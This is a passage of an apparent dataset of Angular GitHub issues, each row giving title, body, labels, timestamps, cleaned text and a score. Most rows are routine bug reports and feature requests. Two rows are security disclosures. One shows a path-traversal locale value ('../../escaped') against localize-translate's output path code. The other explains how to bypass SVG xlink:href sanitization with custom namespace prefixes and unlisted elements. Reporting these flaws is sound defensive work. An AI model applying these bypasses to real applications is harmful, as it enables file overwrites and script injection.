This token and its associated plumbing (`SCHEDULE_IN_ROOT_ZONE_DEFAULT`, `scheduleInRootZone` option) are threaded through:
- `zoneless_scheduling.ts` — token definition
- `zoneless_scheduling_impl.ts` — injected in `ChangeDetectionSchedulerImpl`
- `ng_zone_scheduling.ts` — provided in `internalProvideZoneChangeDetection`
- `flags.ts` — default value
- `ng_zone.ts` — `scheduleInRootZone` in constructor, `NgZonePrivate`, and `InternalNgZoneOptions`
- 8 golden symbol files
- 2 test files passing `scheduleInRootZone: false`


### Proposed solution

Remove the `SCHEDULE_IN_ROOT_ZONE` token and all related `scheduleInRootZone` plumbing — always use `runOutsideAngular` as the TODO indicates.

### Alternatives considered

None,  the TODO explicitly targets v19 for removal.","area: core,gemini-triaged",2026-03-30 16:30:40+00:00,2026-03-30 16:33:46+00:00,2,"area: core,gemini-triaged",0.0022,clean up overdue token and related plumbing todo targeted v which angular package s are relevant related to the feature request core description has a on the injection token angular is past v now this token and its associated plumbing option are threaded through token definition injected in provided in default value in constructor and golden symbol files test files passing proposed solution remove the token and all related plumbing always use as the todo indicates alternatives considered none the todo explicitly targets v for removal,others,0.7506
angular/angular,4171893536,Remove overdue `legacy-partial-output-inputs` code (TODO targeted v18),"### Which @angular/* package(s) are relevant/related to the feature request?

compiler

### Description

There are 7 `TODO(legacy-partial-output-inputs): Remove in v18` comments across the compiler, core, and compiler-cli packages. Angular is well past v18 now, and this legacy code is dead weight.

The legacy format allowed directive inputs in partial compilation output to be represented as plain strings or `[publicName, className, transformFn?]` tuples. Since v17.1, a structured object format (`{ classPropertyName, publicName, isSignal, isRequired, transformFunction }`) replaced it. The old paths were kept temporarily for backward compat with older linkers but are no longer needed.

### Affected files
- `packages/compiler/src/compiler_facade_interface.ts` — `LegacyInputPartialMapping` type + union
- `packages/core/src/compiler/compiler_facade_interface.ts` — same (mirrored)
- `packages/compiler/src/render3/partial/api.ts` — same type + union
- `packages/compiler/src/jit_compiler_facade.ts` — `parseLegacyInputPartialOutput()` + legacy branch
- `packages/compiler/src/render3/partial/directive.ts` — `legacyInputsPartialMetadata()`, `needsNewInputPartialOutput()`
- `packages/compiler-cli/linker/.../partial_directive_linker_1.ts` — `parseLegacyInputPartialOutput()` + fallback
- `packages/compiler/src/render3/view/compiler.ts` — conditional `isSignal` emit


### Proposed solution

Remove all `LegacyInputPartialMapping` types, legacy parsing functions, and conditional fallbacks acr... [TRUNCATED]","area: compiler,gemini-triaged",2026-03-30 15:53:35+00:00,2026-03-30 16:34:09+00:00,2,"area: compiler,gemini-triaged",0.0282,remove overdue code todo targeted v which angular package s are relevant related to the feature request compiler description there are comments across the compiler core and compiler cli packages angular is well past v now and this legacy code is dead weight the legacy format allowed directive inputs in partial compilation output to be represented as plain strings or tuples since v a structured object format replaced it the old paths were kept temporarily for backward compat with older linkers but are no longer needed affected files type union same mirrored same type union legacy branch fallback conditional emit proposed solution remove all types legacy parsing functions and conditional fallbacks acr truncated,others,-0.431
angular/angular,4164230394,FormArray.push and change detection,"### Describe the problem that you experienced

This is what the Reactive Forms pages says ""NOTE: In zoneless applications, mutating a reactive forms model (for example calling [FormArray.push()](https://angular.dev/api/forms/FormArray#push)) does not automatically schedule component change detection."".
Is this really true though? When I test this and call FormArray.push i can see that markViewDirty is called and the view is updated in a zoneless application using Angular version 21.2.0

### Enter the URL of the topic with the problem

https://angular.dev/guide/forms/reactive-forms

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```","area: forms,gemini-triaged",2026-03-29 13:11:02+00:00,2026-03-29 13:50:02+00:00,2,"area: forms,gemini-triaged",0.0271,formarray push and change detection describe the problem that you experienced this is what the reactive forms pages says note in zoneless applications mutating a reactive forms model for example calling formarray push does not automatically schedule component change detection is this really true though when i test this and call formarray push i can see that markviewdirty is called and the view is updated in a zoneless application using angular version enter the url of the topic with the problem describe what you were looking for in the documentation no response describe the actions that led you to experience the problem no response describe what you want to experience that would fix the problem no response add a screenshot if that helps illustrate the problem no response if this problem caused an exception or error please paste it here if the problem is browser specific please specify the device os browser and version provide any additional information here in as much as detail as you can,others,-0.9393
angular/angular,4163704416,forms: pending status getter uses loose equality unlike other status getters,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

In `packages/forms/src/model/abstract_model.ts`, the `pending` getter uses loose equality (`==`) while all other status getters in the same class use strict equality (`===`):

- `get valid()` → `this.status === VALID`
- `get invalid()` → `this.status === INVALID`
- `get disabled()` → `this.status === DISABLED`
- `get pending()` → `this.status == PENDING` ← inconsistent

Both sides are strings so behavior is identical, but it's inconsistent with the rest of the class and wouldn't pass a strict linting rule.

### Please provide a link to a minimal reproduction of the bug

https://github.com/angular/angular/blob/main/packages/forms/src/model/abstract_model.ts#L661

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_","area: forms,gemini-triaged",2026-03-29 10:25:32+00:00,2026-03-29 14:12:52+00:00,1,"area: forms,gemini-triaged",0.1579,forms pending status getter uses loose equality unlike other status getters which angular package s are the source of the bug forms is this a regression no description in the getter uses loose equality while all other status getters in the same class use strict equality inconsistent both sides are strings so behavior is identical but it s inconsistent with the rest of the class and wouldn t pass a strict linting rule please provide a link to a of the bug please provide the exception or error you saw please provide the environment you discovered this bug in run anything else no response,others,-0.8968
angular/angular,4163450657,docs: typos and grammar errors across documentation files,"### Describe the problem that you experienced

Multiple documentation files contain typos, misspellings, and grammar errors that reduce readability and professionalism. Examples include ""decendants"" instead of ""descendants"", ""Github"" instead of ""GitHub"", ""an minimum"" instead of ""a minimum"", and subject-verb disagreements.

CONTRIBUTING.md
adev/src/content/guide/components/anatomy-of-components.md
adev/src/content/guide/components/styling.md
adev/src/content/guide/hydration.md
contributing-docs/branches-and-versioning.md
contributing-docs/caretaking.md
contributing-docs/commit-message-guidelines.md
contributing-docs/documentation-authoring.md
contributing-docs/triage-and-labelling.md
contributing-docs/using-fixup-commits.md
skills/dev-skills/angular-new-app/SKILL.md


### Enter the URL of the topic with the problem

_No response_

### Describe what you were looking for in the documentation

Accurate, well-written documentation free of spelling and grammar errors.

### Describe the actions that led you to experience the problem

Reading through contributing docs, adev content guides, and agent skills documentation files.

### Describe what you want to experience that would fix the problem

Fix all identified typos and grammar issues across the affected files. A PR with the fixes is ready to submit.

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is... [TRUNCATED]","area: docs,gemini-triaged",2026-03-29 08:59:04+00:00,2026-04-09 09:24:29+00:00,2,"area: docs,gemini-triaged",11.0177,docs typos and grammar errors across documentation files describe the problem that you experienced multiple documentation files contain typos misspellings and grammar errors that reduce readability and professionalism examples include decendants instead of descendants github instead of github an minimum instead of a minimum and subject verb disagreements contributing md adev src content guide components anatomy of components md adev src content guide components styling md adev src content guide hydration md contributing docs branches and versioning md contributing docs caretaking md contributing docs commit message guidelines md contributing docs documentation authoring md contributing docs triage and labelling md contributing docs using fixup commits md skills dev skills angular new app skill md enter the url of the topic with the problem no response describe what you were looking for in the documentation accurate well written documentation free of spelling and grammar errors describe the actions that led you to experience the problem reading through contributing docs adev content guides and agent skills documentation files describe what you want to experience that would fix the problem fix all identified typos and grammar issues across the affected files a pr with the fixes is ready to submit add a screenshot if that helps illustrate the problem no response if this problem caused an exception or error please paste it here if the problem is truncated,bug,-0.9382
angular/angular,4162207798,hydration throw error with ng-content,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

No

### Description

when I create ng-template with

```ts
  create() {
    let injector = signal<Injector | undefined>(undefined);
    let ref = this.tempRef().createEmbeddedView({ value$: injector });
    let compRef = this.viewRef.createComponent(WrapperCmp, { projectableNodes: [ref.rootNodes] });
    injector.set(compRef.injector);
  }
```

work on `server` mode will throw error

```log
Error: NG0503: During serialization, Angular detected DOM nodes that were created outside of Angular context and provided as projectable nodes (likely via `ViewContainerRef.createComponent` or `createComponent` APIs). Hydration is not supported for such cases, consider refactoring the code to avoid this pattern or using `ngSkipHydration` on the host element of the component.

<app-root>
  …
  <!-- container -->
  <app-wrapper>…</app-wrapper>  <-- AT THIS LOCATION
  …
</app-root>

Note: attributes are only displayed to better represent the DOM but have no effect on hydration mismatches.

 Find more at https://v21.angular.dev/errors/NG0503
    at unsupportedProjectionOfDomNodes (C:\code\my-project\hydration-test\.angular\cache\21.2.5\hydration-test\vite\deps_ssr\chunk-VPZWV425.js:19498:10)
    at serializeLView (C:\code\my-project\hydration-test\.angular\cache\21.2.5\hydration-test\vite\deps_ssr\chunk-VPZWV425.js:34147:17)
    at serializeLContainer (C:\code\my-project\hydration-test\.angular\cache\2... [TRUNCATED]","area: core,area: server,core: hydration",2026-03-29 02:01:53+00:00,2026-04-29 23:09:17+00:00,1,"area: core,area: server,core: hydration",31.8801,hydration throw error with ng content which angular package s are the source of the bug core is this a regression no description when i create ng template with work on mode will throw error log error ng during serialization angular detected dom nodes that were created outside of angular context and provided as projectable nodes likely via or apis hydration is not supported for such cases consider refactoring the code to avoid this pattern or using on the host element of the component at this location note attributes are only displayed to better represent the dom but have no effect on hydration mismatches find more at at unsupportedprojectionofdomnodes c code my project hydration test angular cache hydration test vite deps ssr chunk vpzwv js at serializelview c code my project hydration test angular cache hydration test vite deps ssr chunk vpzwv js at serializelcontainer c code my project hydration test angular cache truncated,bug,-0.8167
angular/angular,4151191829,Let component know if output has listeners,"### Which @angular/* package(s) are relevant/related to the feature request?

core

### Description

It would be great if we know if an output is in use. Otherwise we need a seperate input.

### Proposed solution

```ts
public close = output<void>();
```

```html
@if (close.hasListener) {
  <!-- Close button here with (click)=""close.emit()"" -->
}
```

### Workaround

```ts
public get hasCloseListener(): boolean {
  return (this.close as any).listeners?.length > 0;
}
```

```html
@if (hasCloseListener) {
  <!-- Close button here -->
}
```

But `any` should be avoided! And I would not access the array, therefore a getter to let the array private. Why not let me know if my output has a listener? Less code is welcome.

Currently on Angular 19","area: core,gemini-triaged",2026-03-27 10:01:09+00:00,2026-03-27 10:27:44+00:00,2,"area: core,gemini-triaged",0.0185,let component know if output has listeners which angular package s are relevant related to the feature request core description it would be great if we know if an output is in use otherwise we need a seperate input proposed solution workaround but should be avoided and i would not access the array therefore a getter to let the array private why not let me know if my output has a listener less code is welcome currently on angular,others,0.5725
angular/angular,4149631738,Path Traversal in `@angular/localize` Translation Output via Malicious Locale Field,"### Which @angular/* package(s) are the source of the bug?

localize

### Is this a regression?

No

### Description

This was first submitted through the security disclosure form but was not deemed high enough to warrant an address, and I was asked to report it as a regular bug.

The `localize-translate` CLI tool uses the `locale` field from translation files to expand the `{{LOCALE}}` marker in the `--outputPath` pattern. The locale value is concatenated directly into the filesystem path without any validation, so a translation file with a locale like `../../escaped` causes output to be written outside the configured output directory.

The root cause is in `getOutputPathFn()`, which builds the output path via simple string concatenation:

```javascript
function getOutputPathFn(fs2, outputFolder) {
  const [pre, post] = outputFolder.split(""{{LOCALE}}"");
  return post === void 0
    ? (_locale, relativePath) => fs2.join(pre, relativePath)
    : (locale, relativePath) => fs2.join(pre + locale + post, relativePath);
}
```

`locale` is spliced into the path with no check for `..`, `/`, `\`, or any other non-locale characters. The resulting path is then passed to `fs.writeFile()`, which happily writes wherever the resolved path points.

When using the documented pattern `-o dist/{{LOCALE}}` and a translation file contains `""locale"": ""../../escaped""`, the output resolves to `../escaped/` instead of staying inside `dist/`. This is unexpected -- developers rely on `-o` to confine al... [TRUNCATED]","area: i18n,security,gemini-triaged",2026-03-27 05:45:51+00:00,2026-03-30 10:15:28+00:00,1,"area: i18n,security,gemini-triaged",3.1872,path traversal in translation output via malicious locale field which angular package s are the source of the bug localize is this a regression no description this was first submitted through the security disclosure form but was not deemed high enough to warrant an address and i was asked to report it as a regular bug the cli tool uses the field from translation files to expand the marker in the pattern the locale value is concatenated directly into the filesystem path without any validation so a translation file with a locale like causes output to be written outside the configured output directory the root cause is in which builds the output path via simple string concatenation is spliced into the path with no check for or any other non locale characters the resulting path is then passed to which happily writes wherever the resolved path points when using the documented pattern and a translation file contains the output resolves to instead of staying inside this is unexpected developers rely on to confine al truncated,others,0.8625
angular/angular,4148538628,Incomplete Fix for CVE-2026-22610: Namespace Prefix Bypass and Missing SVG Elements in Security Schema,"### Which @angular/* package(s) are the source of the bug?

Compiler

### Is this a regression?

No

### Description

## IMPORTANT NOTE: GOOGLE VRP TEAM ACCEPTED THIS REPORT AS A PUBLIC ISSUE

## Summary

The patch for CVE-2026-22610 / GHSA-jrmj-c5cx-3cw6 added `script|href` and `script|xlink:href` to the `RESOURCE_URL` security context. The fix uses exact string matching throughout the pipeline — both in the compiler's `SECURITY_SCHEMA` lookup and in the runtime's `getUrlSanitizer()`. This creates two gaps:

1. **Namespace prefix bypass**: The schema matches the literal string `xlink:href`. An SVG template can declare any prefix for the `http://www.w3.org/1999/xlink` namespace (e.g., `xmlns:s=""http://www.w3.org/1999/xlink""`). Setting `[attr.s:href]` resolves to the same namespace in the DOM but doesn't match `xlink:href` in the schema, so `securityContext()` returns `NONE`.

2. **Missing SVG elements**: Only `<script>` was added to the schema. Other SVG elements that accept `xlink:href` for resource loading — `<use>`, `<image>`, `<feImage>` — are not in the schema at all. Their `xlink:href` attributes get `SecurityContext.NONE` and bypass sanitization entirely.

## Product & Version

- **Package**: `@angular/compiler`, `@angular/core`
- **Tested on**: Angular `21.1.0+` (latest `main`, commit `8de0d25ffa`, post-CVE-2026-22610 fix)
- **Fix commits present**: `91dc91bae4`, `26cdc53d9c`, `c2c2b4aaa8` — all titled ""fix(core): sanitize sensitive attributes on SVG script elements""
... [TRUNCATED]","security,area: security,gemini-triaged",2026-03-27 01:59:16+00:00,2026-03-27 08:35:41+00:00,6,"security,area: security,gemini-triaged",0.2753,incomplete fix for cve namespace prefix bypass and missing svg elements in security schema which angular package s are the source of the bug compiler is this a regression no description important note google vrp team accepted this report as a public issue summary the patch for cve ghsa jrmj c cx cw added and to the security context the fix uses exact string matching throughout the pipeline both in the compiler s lookup and in the runtime s this creates two gaps namespace prefix bypass the schema matches the literal string an svg template can declare any prefix for the namespace e g setting resolves to the same namespace in the dom but doesn t match in the schema so returns missing svg elements only was added to the schema other svg elements that accept for resource loading are not in the schema at all their attributes get and bypass sanitization entirely product version package tested on angular latest commit post cve fix fix commits present all titled fix core sanitize sensitive attributes on svg script elements truncated,bug,0.9516
angular/angular,4148416051,Support 'when' in configuration object for all the built-in validators,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

Some built-in validators (such as required) support ""when"" in the configuration. Some (e.g minLength) don't




### Proposed solution

To be consistent, all built-in validators should support ""when""

### Alternatives considered

Alternative is to use ApplyWhen
But code become cluttered if i use ApplyWhen for each and every validator that does **not** support ""when"", assuming each validator's condition logic is different","area: forms,forms: signals",2026-03-27 01:24:22+00:00,2026-03-27 01:33:38+00:00,2,"area: forms,forms: signals",0.0064,support when in configuration object for all the built in validators which angular package s are relevant related to the feature request no response description some built in validators such as required support when in the configuration some e g minlength don t proposed solution to be consistent all built in validators should support when alternatives considered alternative is to use applywhen but code become cluttered if i use applywhen for each and every validator that does not support when assuming each validator s condition logic is different,help,0.7992
angular/angular,4145101138,reflectComponentType does not detect hostDirective inputs,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

The `ComponentMirror` returned from `reflectComponentType` lists only inputs delared on the passed component type, inputs from host directives of that component are ignored.
Given directive composition is an explicit feature of Angular, the `ComponentMirror` should include all of the component's inputs.

### Please provide a link to a minimal reproduction of the bug

https://github.com/PatrickLasota/angular-reflectComponentType-demo

### Please provide the exception or error you saw

```true
Running `npm test` on the attached project:

- Expected
+ Received

  [
    {
      ""isSignal"": false,
-     ""propName"": ""inputPropName"",
-     ""templateName"": ""inputPropName"",
-   },
-   {
-     ""isSignal"": false,
-     ""propName"": ""barInputProp"",
-     ""templateName"": ""barInputProp"",
+     ""propName"": ""inputProp"",
+     ""templateName"": ""inputProp"",
    },
  ]
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.2.2
Angular           : 21.2.4
Node.js           : 20.19.3
Package Manager   : npm 10.8.2
Operating System  : linux x64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────┼───────────────────┼───────────────────┤
│ @angular/build            │ 21.2.2            │ ^21.2.2           │
│ @an... [TRUNCATED]","area: core,gemini-triaged",2026-03-26 15:37:17+00:00,2026-03-26 15:42:09+00:00,1,"area: core,gemini-triaged",0.0034,reflectcomponenttype does not detect hostdirective inputs which angular package s are the source of the bug core is this a regression yes description the returned from lists only inputs delared on the passed component type inputs from host directives of that component are ignored given directive composition is an explicit feature of angular the should include all of the component s inputs please provide a link to a of the bug please provide the exception or error you saw please provide the environment you discovered this bug in run true angular cli angular node js package manager npm linux x package installed version requested version angular build an truncated,others,-0.4404
angular/angular,4143696914,Angular Elements lost from view when reusing a detached component instance,"### Which @angular/* package(s) are the source of the bug?

elements

### Is this a regression?

No

### Description

Angular Components that are converted into Angular elements, and used as elements within another component, seems to be lost from view (and / or the Component Ref), when a component associated with a route is unmounted and cached for reusablity.

I had the following scenario -  The application makes use of a custom route reuse strategy which caches component instances on a map identified by a key derived from the route. This cached instance of the component is used whenever the users revisits a route after they have navigated away.

There are no issues when the cached component involves either static html, another Angular Component, or a native custom Web element, where all the states / DOM nodes are preserved correctly.

This is not the case however for Angular Components converted to custom Elements, and used as a custom element within the template of the component that is being unmounted. 

The attached stackblitz shows the 4 scenarios outlined above in two components tied to two sepearate routes 
- static elements
- Angular Compoonent used within the template
- Custom Web element
- Angular Component converted to an Angular element, and used within the template

The latter is lost when revisiting a page because it is no longer present on the detatched component.

To replicate the issue, open the stackblitz, go to page 1, go to page 2, go to page 1 again (yo... [TRUNCATED]","area: elements,gemini-triaged",2026-03-26 12:59:55+00:00,2026-03-30 15:45:09+00:00,2,"area: elements,gemini-triaged",4.1147,angular elements lost from view when reusing a detached component instance which angular package s are the source of the bug elements is this a regression no description angular components that are converted into angular elements and used as elements within another component seems to be lost from view and or the component ref when a component associated with a route is unmounted and cached for reusablity i had the following scenario the application makes use of a custom route reuse strategy which caches component instances on a map identified by a key derived from the route this cached instance of the component is used whenever the users revisits a route after they have navigated away there are no issues when the cached component involves either static html another angular component or a native custom web element where all the states dom nodes are preserved correctly this is not the case however for angular components converted to custom elements and used as a custom element within the template of the component that is being unmounted the attached stackblitz shows the scenarios outlined above in two components tied to two sepearate routes static elements angular compoonent used within the template custom web element angular component converted to an angular element and used within the template the latter is lost when revisiting a page because it is no longer present on the detatched component to replicate the issue open the stackblitz go to page go to page go to page again yo truncated,others,-0.9325
angular/angular,4142093948,Syntax sugar for deferred loading inside for,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

A common template pattern today is nesting `@defer` inside `@for` for per-item lazy rendering:

```html
@for (example of examples; track example) {
  @defer (on viewport) {
    <my-component [example]=""example"" />
  } @placeholder {
    <div>Large component placeholder</div>
  }
}
```

This is explicit, but fairly verbose for a very common use case.

I would like to propose a shorthand syntax

### Proposed solution

```html
@for (example of examples; track example; defer on viewport) {
  <my-component [example]=""example"" />
}
```

```html
@for (example of examples; track example; defer on viewport) {
  <my-component [example]=""example"" />
} @placeholder {
  <div>Large component placeholder</div>
}
```

or

```html
@for (example of examples; track example; defer(on viewport)) {
  <my-component [example]=""example"" />
} @defer:placeholder {
  <div>Large component placeholder</div>
}
```

### Alternatives considered

This proposal does not require changing the runtime semantics of `@for`.

The idea is to treat it purely as syntactic sugar for an already valid and existing pattern:

```html
@for (item of items; track item; defer on viewport) {
  <my-component [item]=""item"" />
}
```

would be desugared by the template parser/compiler into:

```html
@for (item of items; track item) {
  @defer (on viewport) {
    <my-component [item]=""item"" />
  }
}
```

In other words, the s... [TRUNCATED]","area: compiler,gemini-triaged",2026-03-26 09:17:44+00:00,2026-03-26 11:08:20+00:00,2,"area: compiler,gemini-triaged",0.0768,syntax sugar for deferred loading inside for which angular package s are relevant related to the feature request no response description a common template pattern today is nesting inside for per item lazy rendering this is explicit but fairly verbose for a very common use case i would like to propose a shorthand syntax proposed solution or alternatives considered this proposal does not require changing the runtime semantics of the idea is to treat it purely as syntactic sugar for an already valid and existing pattern would be desugared by the template parser compiler into in other words the s truncated,others,0.8126
angular/angular,4140456883,Route-Level Async Initializer for Runtime Configuration (Microfrontends / Module Federation),"### Which @angular/* package(s) are relevant/related to the feature request?


## Problem

In microfrontend architectures using Module Federation, Angular
applications often expose either routes or standalone components from
remote builds.

A common real-world requirement is to **fetch runtime configuration from
a backend before initializing routes or components** (e.g., feature
flags, dynamic route definitions, environment-specific endpoints).

Currently, Angular provides:

-   `APP_INITIALIZER` --- only runs at application bootstrap (too early
    / global)
-   Route **guards** and **resolvers** --- run **after route matching**
-   Route **providers** --- scoped DI, but no async blocking mechanism

This creates a gap when:

-   Routes depend on async configuration
-   Routes must be dynamically constructed at runtime
-   Application must support deep linking (page refresh on nested
    routes)

------------------------------------------------------------------------

## Current Limitation

If routes are built dynamically from fetched configuration:

-   On page refresh (deep link), Angular router attempts to match routes
    **before configuration is loaded**
-   Since routes are not yet registered → navigation falls through to
    wildcard (**404**)

Guards/resolvers do not solve this because:

-   They execute **after route matching**
-   They cannot prevent router from failing to recognize a route

`APP_INITIALIZER` is also not suitable because:

-   It is global (not ro... [TRUNCATED]","area: router,gemini-triaged",2026-03-26 04:23:58+00:00,2026-04-03 15:19:26+00:00,4,"area: router,gemini-triaged",8.4552,route level async initializer for runtime configuration microfrontends module federation which angular package s are relevant related to the feature request problem in microfrontend architectures using module federation angular applications often expose either routes or standalone components from remote builds a common real world requirement is to fetch runtime configuration from a backend before initializing routes or components e g feature flags dynamic route definitions environment specific endpoints currently angular provides only runs at application bootstrap too early global route guards and resolvers run after route matching route providers scoped di but no async blocking mechanism this creates a gap when routes depend on async configuration routes must be dynamically constructed at runtime application must support deep linking page refresh on nested routes current limitation if routes are built dynamically from fetched configuration on page refresh deep link angular router attempts to match routes before configuration is loaded since routes are not yet registered navigation falls through to wildcard guards resolvers do not solve this because they execute after route matching they cannot prevent router from failing to recognize a route is also not suitable because it is global not ro truncated,others,0.1781
angular/angular,4132004588,"Signal Forms / FormValueControl violates ControlValueAccessor contract by calling writeValue back after onChange, causing infinite loop","### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

Signal forms break the one-way `ControlValueAccessor` contract by calling `writeValue` back on a CVA component after that component called `onChange`, directly contradicting Angular's own documentation.

### The documented contract

Angular's official documentation at angular.dev states clearly:

> **`writeValue(value: any): void`**
> Writes a new value to the element.
> This method is called by the forms API to write to the view when **programmatic changes from model to view** are requested.

This defines a strict one-way contract:

- `writeValue(value)` — called by the **form** for programmatic, external, model-to-view changes only
- `onChange(value)` — called by the **component** when the user changes the value (view-to-model)

These two directions must never form a loop. Angular's classic `FormControl` correctly respects this — calling `onChange` updates the `FormControl`'s internal value but does **not** trigger `writeValue` back on the CVA. Signal forms do not respect this.

### What Signal forms does wrong

When a CVA component bound via `[formField]` calls `onChange(value)`, the Signal form updates its internal signal. Because Signal form has no concept of **value origin** — it does not distinguish between a programmatic external `set()` and a value that just arrived from the CVA via `onChange` — it reactively pushes the value back to `writeValue` on the ... [TRUNCATED]","area: forms,forms: signals,gemini-triaged",2026-03-25 02:52:10+00:00,2026-04-07 21:21:46+00:00,7,"area: forms,forms: signals,gemini-triaged",13.7706,signal forms formvaluecontrol violates controlvalueaccessor contract by calling writevalue back after onchange causing infinite loop which angular package s are the source of the bug forms is this a regression no description signal forms break the one way contract by calling back on a cva component after that component called directly contradicting angular s own documentation the documented contract angular s official documentation at angular dev states clearly writes a new value to the element this method is called by the forms api to write to the view when programmatic changes from model to view are requested this defines a strict one way contract called by the form for programmatic external model to view changes only called by the component when the user changes the value view to model these two directions must never form a loop angular s classic correctly respects this calling updates the s internal value but does not trigger back on the cva signal forms do not respect this what signal forms does wrong when a cva component bound via calls the signal form updates its internal signal because signal form has no concept of value origin it does not distinguish between a programmatic external and a value that just arrived from the cva via it reactively pushes the value back to on the truncated,others,-0.1977
angular/angular,4127602911,Allow “any host” configuration for AngularNodeAppEngine in SSR,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

### Summary

Currently, `AngularNodeAppEngine` requires `allowedHosts` to be a fixed, static list of hostnames (or subdomain patterns like `*.example.com`). There is no way to allow all hostnames dynamically (e.g., using `'*'` or `'all'`), which blocks legitimate multi-tenant applications where new domains can be created at runtime.

### Use Case

Applications with dynamic or user-provided domains (for example, Shopify-like multi-tenant setups where each shop can have its own domain) cannot use Angular SSR unless the allowed host list is updated on every request. This forces one of the following:

- Creating a new `AngularNodeAppEngine` per request (less performant, heavier memory usage)
- Disabling SSR altogether


### Proposed solution


Introduce an new value for this `allowedHosts` option such as:

```ts
allowedHosts: ['*']
```

This way developers would opt out knowingly, taking responsibility for any security implications.
Default behavior remains unchanged (strict host validation).

### Alternatives considered


The only alternative that has worked reliably so far is creating a new `AngularNodeAppEngine` instance on every request with a dynamic `allowedHosts` value created from the value of `req.headers.host`. While this approach functions correctly, it is less performant and it seems to me that it goes against the intended use of `AngularNodeAppEngine`, which ... [TRUNCATED]","area: server,gemini-triaged",2026-03-24 12:40:32+00:00,2026-03-24 12:53:09+00:00,1,"area: server,gemini-triaged",0.0088,allow any host configuration for angularnodeappengine in ssr which angular package s are relevant related to the feature request no response description summary currently requires to be a fixed static list of hostnames or subdomain patterns like there is no way to allow all hostnames dynamically e g using or which blocks legitimate multi tenant applications where new domains can be created at runtime use case applications with dynamic or user provided domains for example shopify like multi tenant setups where each shop can have its own domain cannot use angular ssr unless the allowed host list is updated on every request this forces one of the following creating a new per request less performant heavier memory usage disabling ssr altogether proposed solution introduce an new value for this option such as this way developers would opt out knowingly taking responsibility for any security implications default behavior remains unchanged strict host validation alternatives considered the only alternative that has worked reliably so far is creating a new instance on every request with a dynamic value created from the value of while this approach functions correctly it is less performant and it seems to me that it goes against the intended use of which truncated,others,0.9698
angular/angular,4126261114,Support Typescript 6,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

In https://github.com/angular/angular/pull/67038 you support typescript 6. in which version will this be released and approximately when? unfortunately the PR is locked so I cannot ask there

### Proposed solution

add version tag to this issue for transparency

### Alternatives considered

Stay intransparent ans wait for it to work again","area: compiler,gemini-triaged",2026-03-24 08:58:30+00:00,2026-03-24 09:22:01+00:00,2,"area: compiler,gemini-triaged",0.0163,support typescript which angular package s are relevant related to the feature request no response description in you support typescript in which version will this be released and approximately when unfortunately the pr is locked so i cannot ask there proposed solution add version tag to this issue for transparency alternatives considered stay intransparent ans wait for it to work again,help,0.4767
angular/angular,4122381380,Add a Readme.md in dev-skills folder,"### Describe the problem that you experienced

As Agent Skills are now published in the dedicated angular/skills repo, GitHub exposes the CoC as there is no related Readme.md file in the project.

Creating one in the dev-skills folder (then meant to be published) would be great to explain the repo purpose and on how to install the Agent skills for beginners.

### Enter the URL of the topic with the problem

https://github.com/angular/skills

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```","area: dev-infra,gemini-triaged",2026-03-23 17:12:46+00:00,2026-04-03 15:18:36+00:00,3,"area: dev-infra,gemini-triaged",10.9207,add a readme md in dev skills folder describe the problem that you experienced as agent skills are now published in the dedicated angular skills repo github exposes the coc as there is no related readme md file in the project creating one in the dev skills folder then meant to be published would be great to explain the repo purpose and on how to install the agent skills for beginners enter the url of the topic with the problem describe what you were looking for in the documentation no response describe the actions that led you to experience the problem no response describe what you want to experience that would fix the problem no response add a screenshot if that helps illustrate the problem no response if this problem caused an exception or error please paste it here if the problem is browser specific please specify the device os browser and version provide any additional information here in as much as detail as you can,others,-0.9022
angular/angular,4116203034,Mismatch between skills.sh ‘angular-developer’ skill and available skills in Angular repository,"### Describe the problem that you experienced

The ""angular-developer"" skill listed on skills.sh cannot be installed using the skills CLI for the Angular repository.

Running the documented command results in ""No matching skills found"", even though the skill is listed on the website.

### Enter the URL of the topic with the problem

https://skills.sh/angular/angular/angular-developer

### Describe what you were looking for in the documentation

I was trying to install and use the ""angular-developer"" skill for the Angular repository using the skills CLI, as described on the skills.sh page.

### Describe the actions that led you to experience the problem

1. Visited the skills.sh page for the Angular ""angular-developer"" skill
2. Ran the command:
   npx skills add https://github.com/angular/angular --skill angular-developer
3. Observed the CLI output after cloning the repository

### Describe what you want to experience that would fix the problem

The CLI should successfully find and install the ""angular-developer"" skill.

Alternatively, if the skill is not actually available in the Angular repository, the documentation or skills.sh listing should be updated to reflect the correct available skills.

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true
No matching skills found for: angular-developer

Available skills:
- adev-writing-guide
- PR Review
- reference-compiler-cli
